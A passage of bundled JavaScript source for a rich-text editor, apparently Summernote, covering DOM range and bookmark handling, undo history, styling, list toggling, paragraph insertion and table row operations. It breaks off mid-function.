pasteHTML(markup) {\n const contentsContainer = $('<div></div>').html(markup)[0];\n const childNodes = lists.from(contentsContainer.childNodes);\n\n const rng = this.wrapBodyInlineWithPara().deleteContents();\n\n return childNodes.reverse().map(function(childNode) {\n return rng.insertNode(childNode);\n }).reverse();\n }\n\n /**\n * returns text in range\n *\n * @return {String}\n */\n toString() {\n const nativeRng = this.nativeRange();\n return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n }\n\n /**\n * returns range for word before cursor\n *\n * @param {Boolean} [findAfter] - find after cursor, default: false\n * @return {WrappedRange}\n */\n getWordRange(findAfter) {\n let endPoint = this.getEndPoint();\n\n if (!dom.isCharPoint(endPoint)) {\n return this;\n }\n\n const startPoint = dom.prevPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n\n if (findAfter) {\n endPoint = dom.nextPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n }\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * create offsetPath bookmark\n *\n * @param {Node} editable\n */\n bookmark(editable) {\n return {\n s: {\n path: dom.makeOffsetPath(editable, this.sc),\n offset: this.so\n },\n e: {\n path: dom.makeOffsetPath(editable, this.ec),\n offset: this.eo\n }\n };\n }\n\n /**\n * create offsetPath bookmark base on paragraph\n *\n * @param {Node[]} paras\n */\n paraBookmark(paras) {\n return {\n s: {\n path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n offset: this.so\n },\n e: {\n path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n offset: this.eo\n }\n };\n }\n\n /**\n * getClientRects\n * @return {Rect[]}\n */\n getClientRects() {\n const nativeRng = this.nativeRange();\n return nativeRng.getClientRects();\n }\n}\n\n/**\n * Data structure\n * * BoundaryPoint: a point of dom tree\n * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n /**\n * create Range Object From arguments or Browser Selection\n *\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n * @return {WrappedRange}\n */\n create: function(sc, so, ec, eo) {\n if (arguments.length === 4) {\n return new WrappedRange(sc, so, ec, eo);\n } else if (arguments.length === 2) { // collapsed\n ec = sc;\n eo = so;\n return new WrappedRange(sc, so, ec, eo);\n } else {\n let wrappedRange = this.createFromSelection();\n if (!wrappedRange && arguments.length === 1) {\n wrappedRange = this.createFromNode(arguments[0]);\n return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);\n }\n return wrappedRange;\n }\n },\n\n createFromSelection: function() {\n let sc, so, ec, eo;\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (!selection || selection.rangeCount === 0) {\n return null;\n } else if (dom.isBody(selection.anchorNode)) {\n // Firefox: returns entire body as range on initialization.\n // We won't never need it.\n return null;\n }\n\n const nativeRng = selection.getRangeAt(0);\n sc = nativeRng.startContainer;\n so = nativeRng.startOffset;\n ec = nativeRng.endContainer;\n eo = nativeRng.endOffset;\n } else { // IE8: TextRange\n const textRange = document.selection.createRange();\n const textRangeEnd = textRange.duplicate();\n textRangeEnd.collapse(false);\n const textRangeStart = textRange;\n textRangeStart.collapse(true);\n\n let startPoint = textRangeToPoint(textRangeStart, true);\n let endPoint = textRangeToPoint(textRangeEnd, false);\n\n // same visible point case: range was collapsed.\n if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n endPoint.node.nextSibling === startPoint.node) {\n startPoint = endPoint;\n }\n\n sc = startPoint.cont;\n so = startPoint.offset;\n ec = endPoint.cont;\n eo = endPoint.offset;\n }\n\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from node\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNode: function(node) {\n let sc = node;\n let so = 0;\n let ec = node;\n let eo = dom.nodeLength(ec);\n\n // browsers can't target a picture or void node\n if (dom.isVoid(sc)) {\n so = dom.listPrev(sc).length - 1;\n sc = sc.parentNode;\n }\n if (dom.isBR(ec)) {\n eo = dom.listPrev(ec).length - 1;\n ec = ec.parentNode;\n } else if (dom.isVoid(ec)) {\n eo = dom.listPrev(ec).length;\n ec = ec.parentNode;\n }\n\n return this.create(sc, so, ec, eo);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeBefore: function(node) {\n return this.createFromNode(node).collapse(true);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeAfter: function(node) {\n return this.createFromNode(node).collapse();\n },\n\n /**\n * @method\n *\n * create WrappedRange from bookmark\n *\n * @param {Node} editable\n * @param {Object} bookmark\n * @return {WrappedRange}\n */\n createFromBookmark: function(editable, bookmark) {\n const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n const so = bookmark.s.offset;\n const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n const eo = bookmark.e.offset;\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from paraBookmark\n *\n * @param {Object} bookmark\n * @param {Node[]} paras\n * @return {WrappedRange}\n */\n createFromParaBookmark: function(bookmark, paras) {\n const so = bookmark.s.offset;\n const eo = bookmark.e.offset;\n const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n return new WrappedRange(sc, so, ec, eo);\n }\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n return $.Deferred((deferred) => {\n $.extend(new FileReader(), {\n onload: (e) => {\n const dataURL = e.target.result;\n deferred.resolve(dataURL);\n },\n onerror: (err) => {\n deferred.reject(err);\n }\n }).readAsDataURL(file);\n }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `<image>` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n return $.Deferred((deferred) => {\n const $img = $('<img>');\n\n $img.one('load', () => {\n $img.off('error abort');\n deferred.resolve($img);\n }).one('error abort', () => {\n $img.off('load').detach();\n deferred.reject($img);\n }).css({\n display: 'none'\n }).appendTo(document.body).attr('src', url);\n }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n constructor($editable) {\n this.stack = [];\n this.stackOffset = -1;\n this.$editable = $editable;\n this.editable = $editable[0];\n }\n\n makeSnapshot() {\n const rng = range.create(this.editable);\n const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};\n\n return {\n contents: this.$editable.html(),\n bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)\n };\n }\n\n applySnapshot(snapshot) {\n if (snapshot.contents !== null) {\n this.$editable.html(snapshot.contents);\n }\n if (snapshot.bookmark !== null) {\n range.createFromBookmark(this.editable, snapshot.bookmark).select();\n }\n }\n\n /**\n * @method rewind\n * Rewinds the history stack back to the first snapshot taken.\n * Leaves the stack intact, so that \"Redo\" can still be used.\n */\n rewind() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n // Return to the first available snapshot.\n this.stackOffset = 0;\n\n // Apply that snapshot.\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n\n /**\n * @method reset\n * Resets the history stack completely; reverting to an empty editor.\n */\n reset() {\n // Clear the stack.\n this.stack = [];\n\n // Restore stackOffset to its original value.\n this.stackOffset = -1;\n\n // Clear the editable area.\n this.$editable.html('');\n\n // Record our first snapshot (of nothing).\n this.recordUndo();\n }\n\n /**\n * undo\n */\n undo() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n if (this.stackOffset > 0) {\n this.stackOffset--;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * redo\n */\n redo() {\n if (this.stack.length - 1 > this.stackOffset) {\n this.stackOffset++;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * recorded undo\n */\n recordUndo() {\n this.stackOffset++;\n\n // Wash out stack after stackOffset\n if (this.stack.length > this.stackOffset) {\n this.stack = this.stack.slice(0, this.stackOffset);\n }\n\n // Create new snapshot and push it to the end\n this.stack.push(this.makeSnapshot());\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n /**\n * @method jQueryCSS\n *\n * [workaround] for old jQuery\n * passing an array of style properties to .css()\n * will result in an object of property-value pairs.\n * (compability with version < 1.9)\n *\n * @private\n * @param {jQuery} $obj\n * @param {Array} propertyNames - An array of one or more CSS properties.\n * @return {Object}\n */\n jQueryCSS($obj, propertyNames) {\n if (env.jqueryVersion < 1.9) {\n const result = {};\n $.each(propertyNames, (idx, propertyName) => {\n result[propertyName] = $obj.css(propertyName);\n });\n return result;\n }\n return $obj.css(propertyNames);\n }\n\n /**\n * returns style object from node\n *\n * @param {jQuery} $node\n * @return {Object}\n */\n fromNode($node) {\n const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n const styleInfo = this.jQueryCSS($node, properties) || {};\n styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);\n return styleInfo;\n }\n\n /**\n * paragraph level style\n *\n * @param {WrappedRange} rng\n * @param {Object} styleInfo\n */\n stylePara(rng, styleInfo) {\n $.each(rng.nodes(dom.isPara, {\n includeAncestor: true\n }), (idx, para) => {\n $(para).css(styleInfo);\n });\n }\n\n /**\n * insert and returns styleNodes on range.\n *\n * @param {WrappedRange} rng\n * @param {Object} [options] - options for styleNodes\n * @param {String} [options.nodeName] - default: `SPAN`\n * @param {Boolean} [options.expandClosestSibling] - default: `false`\n * @param {Boolean} [options.onlyPartialContains] - default: `false`\n * @return {Node[]}\n */\n styleNodes(rng, options) {\n rng = rng.splitText();\n\n const nodeName = (options && options.nodeName) || 'SPAN';\n const expandClosestSibling = !!(options && options.expandClosestSibling);\n const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n if (rng.isCollapsed()) {\n return [rng.insertNode(dom.create(nodeName))];\n }\n\n let pred = dom.makePredByNodeName(nodeName);\n const nodes = rng.nodes(dom.isText, {\n fullyContains: true\n }).map((text) => {\n return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n });\n\n if (expandClosestSibling) {\n if (onlyPartialContains) {\n const nodesInRange = rng.nodes();\n // compose with partial contains predication\n pred = func.and(pred, (node) => {\n return lists.contains(nodesInRange, node);\n });\n }\n\n return nodes.map((node) => {\n const siblings = dom.withClosestSiblings(node, pred);\n const head = lists.head(siblings);\n const tails = lists.tail(siblings);\n $.each(tails, (idx, elem) => {\n dom.appendChildNodes(head, elem.childNodes);\n dom.remove(elem);\n });\n return lists.head(siblings);\n });\n } else {\n return nodes;\n }\n }\n\n /**\n * get current style on cursor\n *\n * @param {WrappedRange} rng\n * @return {Object} - object contains style properties.\n */\n current(rng) {\n const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n let styleInfo = this.fromNode($cont);\n\n // document.queryCommandState for toggle state\n // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n try {\n styleInfo = $.extend(styleInfo, {\n 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']\n });\n } catch (e) {}\n\n // list-style-type to list-style(unordered, ordered)\n if (!rng.isOnList()) {\n styleInfo['list-style'] = 'none';\n } else {\n const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;\n styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n }\n\n const para = dom.ancestor(rng.sc, dom.isPara);\n if (para && para.style['line-height']) {\n styleInfo['line-height'] = para.style.lineHeight;\n } else {\n const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n styleInfo['line-height'] = lineHeight.toFixed(1);\n }\n\n styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n styleInfo.range = rng;\n\n return styleInfo;\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n /**\n * toggle ordered list\n */\n insertOrderedList(editable) {\n this.toggleList('OL', editable);\n }\n\n /**\n * toggle unordered list\n */\n insertUnorderedList(editable) {\n this.toggleList('UL', editable);\n }\n\n /**\n * indent\n */\n indent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n this.wrapList(paras, head.parentNode.nodeName);\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n return (parseInt(val, 10) || 0) + 25;\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * outdent\n */\n outdent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n this.releaseList([paras]);\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n val = (parseInt(val, 10) || 0);\n return val > 25 ? val - 25 : '';\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * toggle list\n *\n * @param {String} listName - OL or UL\n */\n toggleList(listName, editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const bookmark = rng.paraBookmark(paras);\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n // paragraph to list\n if (lists.find(paras, dom.isPurePara)) {\n let wrappedParas = [];\n $.each(clustereds, (idx, paras) => {\n wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n });\n paras = wrappedParas;\n // list to paragraph or change list style\n } else {\n const diffLists = rng.nodes(dom.isList, {\n includeAncestor: true\n }).filter((listNode) => {\n return !$.nodeName(listNode, listName);\n });\n\n if (diffLists.length) {\n $.each(diffLists, (idx, listNode) => {\n dom.replace(listNode, listName);\n });\n } else {\n paras = this.releaseList(clustereds, true);\n }\n }\n\n range.createFromParaBookmark(bookmark, paras).select();\n }\n\n /**\n * @param {Node[]} paras\n * @param {String} listName\n * @return {Node[]}\n */\n wrapList(paras, listName) {\n const head = lists.head(paras);\n const last = lists.last(paras);\n\n const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n // P to LI\n paras = paras.map((para) => {\n return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n });\n\n // append to list(<ul>, <ol>)\n dom.appendChildNodes(listNode, paras);\n\n if (nextList) {\n dom.appendChildNodes(listNode, lists.from(nextList.childNodes));\n dom.remove(nextList);\n }\n\n return paras;\n }\n\n /**\n * @method releaseList\n *\n * @param {Array[]} clustereds\n * @param {Boolean} isEscapseToBody\n * @return {Node[]}\n */\n releaseList(clustereds, isEscapseToBody) {\n let releasedParas = [];\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n const last = lists.last(paras);\n\n const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;\n const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {\n node: last.parentNode,\n offset: dom.position(last) + 1\n }, {\n isSkipPaddingBlankHTML: true\n }) : null;\n\n const middleList = dom.splitTree(headList, {\n node: head.parentNode,\n offset: dom.position(head)\n }, {\n isSkipPaddingBlankHTML: true\n });\n\n paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)\n : lists.from(middleList.childNodes).filter(dom.isLi);\n\n // LI to P\n if (isEscapseToBody || !dom.isList(headList.parentNode)) {\n paras = paras.map((para) => {\n return dom.replace(para, 'P');\n });\n }\n\n $.each(lists.from(paras).reverse(), (idx, para) => {\n dom.insertAfter(para, headList);\n });\n\n // remove empty lists\n const rootLists = lists.compact([headList, middleList, lastList]);\n $.each(rootLists, (idx, rootList) => {\n const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));\n $.each(listNodes.reverse(), (idx, listNode) => {\n if (!dom.nodeLength(listNode)) {\n dom.remove(listNode, true);\n }\n });\n });\n\n releasedParas = releasedParas.concat(paras);\n });\n\n return releasedParas;\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport Bullet from '../editing/Bullet';\n\n/**\n * @class editing.Typing\n *\n * Typing\n *\n */\nexport default class Typing {\n constructor() {\n // a Bullet instance to toggle lists off\n this.bullet = new Bullet();\n }\n\n /**\n * insert tab\n *\n * @param {WrappedRange} rng\n * @param {Number} tabsize\n */\n insertTab(rng, tabsize) {\n const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));\n rng = rng.deleteContents();\n rng.insertNode(tab, true);\n\n rng = range.create(tab, tabsize);\n rng.select();\n }\n\n /**\n * insert paragraph\n */\n insertParagraph(editable) {\n let rng = range.create(editable);\n\n // deleteContents on range.\n rng = rng.deleteContents();\n\n // Wrap range if it needs to be wrapped by paragraph\n rng = rng.wrapBodyInlineWithPara();\n\n // finding paragraph\n const splitRoot = dom.ancestor(rng.sc, dom.isPara);\n\n let nextPara;\n // on paragraph: split paragraph\n if (splitRoot) {\n // if it is an empty line with li\n if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {\n // toogle UL/OL and escape\n this.bullet.toggleList(splitRoot.parentNode.nodeName);\n return;\n // if it is an empty line with para on blockquote\n } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {\n // escape blockquote\n dom.insertAfter(splitRoot, splitRoot.parentNode);\n nextPara = splitRoot;\n // if new line has content (not a line break)\n } else {\n nextPara = dom.splitTree(splitRoot, rng.getStartPoint());\n\n let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);\n emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));\n\n $.each(emptyAnchors, (idx, anchor) => {\n dom.remove(anchor);\n });\n\n // replace empty heading, pre or custom-made styleTag with P tag\n if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {\n nextPara = dom.replace(nextPara, 'p');\n }\n }\n // no paragraph: insert empty paragraph\n } else {\n const next = rng.sc.childNodes[rng.so];\n nextPara = $(dom.emptyPara)[0];\n if (next) {\n rng.sc.insertBefore(nextPara, next);\n } else {\n rng.sc.appendChild(nextPara);\n }\n }\n\n range.create(nextPara, 0).normalize().select().scrollIntoView(editable);\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport lists from '../core/lists';\n\n/**\n * @class Create a virtual table to create what actions to do in change.\n * @param {object} startPoint Cell selected to apply change.\n * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where\n * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction\n * @param {object} domTable Dom element of table to make changes.\n */\nconst TableResultAction = function(startPoint, where, action, domTable) {\n const _startPoint = { 'colPos': 0, 'rowPos': 0 };\n const _virtualTable = [];\n const _actionCellList = [];\n\n /// ///////////////////////////////////////////\n // Private functions\n /// ///////////////////////////////////////////\n\n /**\n * Set the startPoint of action.\n */\n function setStartPoint() {\n if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {\n console.error('Impossible to identify start Cell point.', startPoint);\n return;\n }\n _startPoint.colPos = startPoint.cellIndex;\n if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {\n console.error('Impossible to identify start Row point.', startPoint);\n return;\n }\n _startPoint.rowPos = startPoint.parentElement.rowIndex;\n }\n\n /**\n * Define virtual table position info object.\n *\n * @param {int} rowIndex Index position in line of virtual table.\n * @param {int} cellIndex Index position in column of virtual table.\n * @param {object} baseRow Row affected by this position.\n * @param {object} baseCell Cell affected by this position.\n * @param {bool} isSpan Inform if it is an span cell/row.\n */\n function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {\n const objPosition = {\n 'baseRow': baseRow,\n 'baseCell': baseCell,\n 'isRowSpan': isRowSpan,\n 'isColSpan': isColSpan,\n 'isVirtual': isVirtualCell\n };\n if (!_virtualTable[rowIndex]) {\n _virtualTable[rowIndex] = [];\n }\n _virtualTable[rowIndex][cellIndex] = objPosition;\n }\n\n /**\n * Create action cell object.\n *\n * @param {object} virtualTableCellObj Object of specific position on virtual table.\n * @param {enum} resultAction Action to be applied in that item.\n */\n function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {\n return {\n 'baseCell': virtualTableCellObj.baseCell,\n 'action': resultAction,\n 'virtualTable': {\n 'rowIndex': virtualRowPosition,\n 'cellIndex': virtualColPosition\n }\n };\n }\n\n /**\n * Recover free index of row to append Cell.\n *\n * @param {int} rowIndex Index of row to find free space.\n * @param {int} cellIndex Index of cell to find free space in table.\n */\n function recoverCellIndex(rowIndex, cellIndex) {\n if (!_virtualTable[rowIndex]) {\n return cellIndex;\n }\n if (!_virtualTable[rowIndex][cellIndex]) {\n return cellIndex;\n }\n\n let newCellIndex = cellIndex;\n while (_virtualTable[rowIndex][newCellIndex]) {\n newCellIndex++;\n if (!_virtualTable[rowIndex][newCellIndex]) {\n return newCellIndex;\n }\n }\n }\n\n /**\n * Recover info about row and cell and add information to virtual table.\n *\n * @param {object} row Row to recover information.\n * @param {object} cell Cell to recover information.\n */\n function addCellInfoToVirtual(row, cell) {\n const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);\n const cellHasColspan = (cell.colSpan > 1);\n const cellHasRowspan = (cell.rowSpan > 1);\n const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);\n setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);\n\n // Add span rows to virtual Table.\n const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;\n if (rowspanNumber > 1) {\n for (let rp = 1; rp < rowspanNumber; rp++) {\n const rowspanIndex = row.rowIndex + rp;\n adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);\n setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);\n }\n }\n\n // Add span cols to virtual table.\n const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;\n if (colspanNumber > 1) {\n for (let cp = 1; cp < colspanNumber; cp++) {\n const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));\n adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);\n setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);\n }\n }\n }\n\n /**\n * Process validation and adjust of start point if needed\n *\n * @param {int} rowIndex\n * @param {int} cellIndex\n * @param {object} cell\n * @param {bool} isSelectedCell\n */\n function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {\n if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {\n _startPoint.colPos++;\n }\n }\n\n /**\n * Create virtual table of cells with all cells, including span cells.\n */\n function createVirtualTable() {\n const rows = domTable.rows;\n for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {\n const cells = rows[rowIndex].cells;\n for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {\n addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);\n }\n }\n }\n\n /**\n * Get action to be applied on the cell.\n *\n * @param {object} cell virtual table cell to apply action\n */\n function getDeleteResultActionToCell(cell) {\n switch (where) {\n case TableResultAction.where.Column:\n if (cell.isColSpan) {\n return TableResultAction.resultAction.SubtractSpanCount;\n }\n break;\n case TableResultAction.where.Row:\n if (!cell.isVirtual && cell.isRowSpan) {\n return TableResultAction.resultAction.AddCell;\n } else if (cell.isRowSpan) {\n return TableResultAction.resultAction.SubtractSpanCount;\n }\n break;\n }\n return TableResultAction.resultAction.RemoveCell;\n }\n\n /**\n * Get action to be applied on the cell.\n *\n * @param {object} cell virtual table cell to apply action\n */\n function getAddResultActionToCell(cell) {\n switch (where) {\n case TableResultAction.where.Column:\n if (cell.isColSpan) {\n return TableResultAction.resultAction.SumSpanCount;\n } else if (cell.isRowSpan && cell.isVirtual) {\n return TableResultAction.resultAction.Ignore;\n }\n break;\n case TableResultAction.where.Row:\n if (cell.isRowSpan) {\n return TableResultAction.resultAction.SumSpanCount;\n } else if (cell.isColSpan && cell.isVirtual) {\n return TableResultAction.resultAction.Ignore;\n }\n break;\n }\n return TableResultAction.resultAction.AddCell;\n }\n\n function init() {\n setStartPoint();\n createVirtualTable();\n }\n\n /// ///////////////////////////////////////////\n // Public functions\n /// ///////////////////////////////////////////\n\n /**\n * Recover array os what to do in table.\n */\n this.getActionList = function() {\n const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;\n const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;\n\n let actualPosition = 0;\n let canContinue = true;\n while (canContinue) {\n const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;\n const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;\n const row = _virtualTable[rowPosition];\n if (!row) {\n canContinue = false;\n return _actionCellList;\n }\n const cell = row[colPosition];\n if (!cell) {\n canContinue = false;\n return _actionCellList;\n }\n\n // Define action to be applied in this cell\n let resultAction = TableResultAction.resultAction.Ignore;\n switch (action) {\n case TableResultAction.requestAction.Add:\n resultAction = getAddResultActionToCell(cell);\n break;\n case TableResultAction.requestAction.Delete:\n resultAction = getDeleteResultActionToCell(cell);\n break;\n }\n _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));\n actualPosition++;\n }\n\n return _actionCellList;\n };\n\n init();\n};\n/**\n*\n* Where action occours enum.\n*/\nTableResultAction.where = { 'Row': 0, 'Column': 1 };\n/**\n*\n* Requested action to apply enum.\n*/\nTableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };\n/**\n*\n* Result action to be executed enum.\n*/\nTableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };\n\n/**\n *\n * @class editing.Table\n *\n * Table\n *\n */\nexport default class Table {\n /**\n * handle tab key\n *\n * @param {WrappedRange} rng\n * @param {Boolean} isShift\n */\n tab(rng, isShift) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const table = dom.ancestor(cell, dom.isTable);\n const cells = dom.listDescendant(table, dom.isCell);\n\n const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);\n if (nextCell) {\n range.create(nextCell, 0).select();\n }\n }\n\n /**\n * Add a new row\n *\n * @param {WrappedRange} rng\n * @param {String} position (top/bottom)\n * @return {Node}\n */\n addRow(rng, position) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n\n const currentTr = $(cell).closest('tr');\n const trAttributes = this.recoverAttributes(currentTr);\n const html = $('<tr' + trAttributes + '></tr>');\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let idCell = 0; idCell < actions.length; idCell++) {\n const currentCell = actions[idCell];\n const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n switch (currentCell.action) {\n case TableResultAction.resultAction.AddCell:\n html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');\n break;\n case TableResultAction.resultAction.SumSpanCount:\n if (position === 'top') {\n const baseCellTr = currentCell.baseCell.parent;\n const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;\n if (isTopFromRowSpan) {\n const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();\n html.append(newTd);\n break;\n }\n }\n let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);\n rowspanNumber++;\n currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);\n break;\n }\n }\n\n if (position === 'top') {\n currentTr.before(html);\n } else {\n const cellHasRowspan = 